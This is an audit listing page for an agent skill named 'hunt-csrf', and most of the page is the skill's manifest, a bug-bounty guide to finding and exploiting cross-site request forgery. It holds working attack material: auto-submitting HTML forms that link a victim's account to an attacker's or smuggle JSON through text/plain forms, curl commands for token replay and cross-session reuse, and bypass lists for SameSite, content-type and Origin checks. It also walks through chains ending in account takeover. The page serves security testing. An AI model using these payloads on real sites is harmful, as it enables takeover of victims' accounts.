hunt-csrf — independently scanned and version-tracked by SaferSkills.
SaferSkills independently audited hunt-csrf (Agent Skill) and scored it 100/100 (green). The audit ran 55 deterministic rules across Security, Supply Chain, Maintenance, Transparency, and Community; it found 0 high-severity and 0 lower-severity findings. The full rule-by-rule trace and per-finding evidence are below. Free, methodology-open.
Findings & checks · 0 flagged
Every scanned point with the score it earned and what moved between them.
First recorded scan — no prior version to compare against.
The primary manifest — the file an agent reads to learn what this artifact does.
CSRF becomes high-value when it touches state-changing actions with account-level or financial consequences. The highest-paying targets are:
Asset types that pay most: Core product auth flows > API gateways > third-party integrations running on subdomains > admin panels.
/oauth/authorize?RelayState=
/accounts/link
/import/friends
/api/v*/heartbeat
/api/v*/collect
/monitoring/* (Grafana, Prow, Prometheus)
/auth/saml/callback
/connect/* (social integrations)# Missing or weak SameSite cookie attributes
Set-Cookie: session=abc123; HttpOnly # no SameSite = vulnerable
Set-Cookie: session=abc123; SameSite=None # explicitly allows cross-site
# Missing CSRF headers
# No X-Frame-Options or permissive CORS
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true # dangerous combo// Static or predictable CSRF tokens
meta[name="csrf-token"] // grep if value changes across sessions
authenticity_token // Rails — check if reused across page loads
// JSON endpoints without Content-Type enforcement
fetch('/api/heartbeat', {method: 'POST', body: JSON.stringify(data)})
// No CSRF token in form at all
<form method="POST" action="/accounts/link"> // no hidden token fieldauthenticity_token — test if it's static per sessioncsrfmiddlewaretoken — test cross-user/session reuse/api/healthRelayState parameter rarely validated/api/* routesSameSite=Strict or Lax.authenticity_token / csrfmiddlewaretoken / csrf-token values across:application/x-www-form-urlencoded to a JSON endpointtext/plain with a JSON bodyRelayState is validated for same-origin. Inject external URLs.<html>
<body onload="document.forms[0].submit()">
<form method="POST" action="https://target.com/api/v1/account/link">
<input type="hidden" name="provider" value="attacker_account_id" />
<input type="hidden" name="token" value="oauth_token_here" />
</form>
</body>
</html><html>
<body onload="document.forms[0].submit()">
<form method="POST" action="https://target.com/api/heartbeat"
enctype="text/plain">
<!-- browser sends: {"status":"ok","x":"=padding"} -->
<input type="hidden" name='{"status":"ok","x":"' value='padding"}' />
</form>
</body>
</html># Capture a valid request, then replay without token
curl -s -X POST https://target.com/settings/email \
-H "Cookie: session=YOUR_SESSION" \
-d "[email protected]" \
-v 2>&1 | grep -E "HTTP|location|error"# Get token from session A
TOKEN_A=$(curl -s https://target.com/settings -H "Cookie: session=SESSION_A" \
| grep -oP 'authenticity_token[^"]*value="\K[^"]+')
# Use token A in session B's request
curl -s -X POST https://target.com/settings/update \
-H "Cookie: session=SESSION_B" \
-d "authenticity_token=$TOKEN_A&[email protected]" \
-v# Find CSRF token fields in HTML responses
grep -Eo 'name="(csrf|_token|authenticity_token|csrfmiddlewaretoken)"[^>]*value="[^"]+"'
# Find forms without CSRF tokens
grep -B5 -A20 '<form method="[Pp][Oo][Ss][Tt]"' response.html | grep -L "csrf\|token\|nonce"
# Check SameSite in response headers
curl -sI https://target.com/login | grep -i "set-cookie"
# Find RelayState parameters
grep -r "RelayState" --include="*.js" .curl -s https://monitoring.target.com/api/health | jq '.version'
# Vulnerable: < 8.3.5, < 8.4.3, < 7.5.15authenticity_token was the same across all page loads for a session, making it trivially leakable.csrftoken reusable across users.Content-Type: application/json prevents CSRF. It does via CORS preflight — unless the server also accepts text/plain or application/x-www-form-urlencoded.SameSite=None to support iframe embeds or third-party integrations, inadvertently re-enabling CSRF.RelayState as a redirect hint, not a CSRF state parameter requiring cryptographic binding./api/* routes in Django/Rails because "API clients don't need it," but browser-based JS clients do.Bypass: Top-level navigation GET requests still work. If the sensitive action can be triggered via GET (or if a redirect chain converts POST→GET), Lax doesn't protect it. Also: subdomains can still set cookies for parent domain.
Bypasses:
Content-Type: application/json enforcementBypass: Use text/plain enctype with crafted form input names that produce valid JSON. Server receives JSON body, skips CORS preflight.
Bypasses:
<iframe sandbox="allow-scripts allow-forms">)*.target.com is trusted and you have XSS on any subdomaintarget.com.evil.com passes naive string matchingBypass: If attacker can set cookies (subdomain takeover, cookie injection via HTTP), they can set both the cookie and the form field to matching attacker-controlled values.
X-Requested-With)Bypass: Simple requests (form POST, text/plain) don't trigger preflight and can't set custom headers — but some servers only check for header presence, not value, and some frameworks accept requests without it.
An attacker crafted a malicious page targeting the "Import Friends" OAuth integration. When an authenticated SocialClub user visited the page, the CSRF triggered the OAuth token exchange with an attacker-controlled social account. The victim's SocialClub account became permanently linked to the attacker's Facebook/social identity, enabling full account access without the victim's knowledge. Rated high severity due to complete account compromise path.
During Oculus-Facebook account linking, the OAuth callback lacked proper CSRF state validation. An attacker could craft a URL that, when loaded by an authenticated Facebook user who had started the Oculus linking flow, would associate the attacker's Oculus device credentials with the victim's Facebook account. The attacker then had persistent access to the victim's Facebook profile through the Oculus app. The attack required only that the victim click a link while logged into Facebook.
A POST endpoint accepting application/json was assumed CSRF-safe by developers. A researcher crafted an HTML form using enctype="text/plain" with an input name designed to produce syntactically valid JSON when submitted. The browser sent the request cross-origin without a preflight (no custom headers, text/plain is a simple request), cookies were attached, and the server processed the JSON body as legitimate — silently logging attacker-controlled activity data under the victim's account identity.
meta[name=csrf-token] value and same-origin-fetches /accounts/email with attacker payload → one-click ATO via attacker-page postMessage triggering the stored XSS to perform the state change./settings/password reaches an endpoint that skips the re-auth check → password change executes without the victim ever entering their current password → ATO.state/RelayState is structurally a CSRF token; missing validation here is account-linking CSRF. Chain primitive: attacker initiates OAuth on their account, sends victim the /callback?code=X&state= URL → victim's logged-in browser completes the link → attacker's social identity now controls victim's account.enctype=text/plain JSON, sandboxed-iframe null-origin, base64 multipart bypass) before writing one from scratch; also the WAF-bypass header variants for Origin/Referer checks.~30 seconds. Free. No account. Every finding cites a rule and a line of evidence.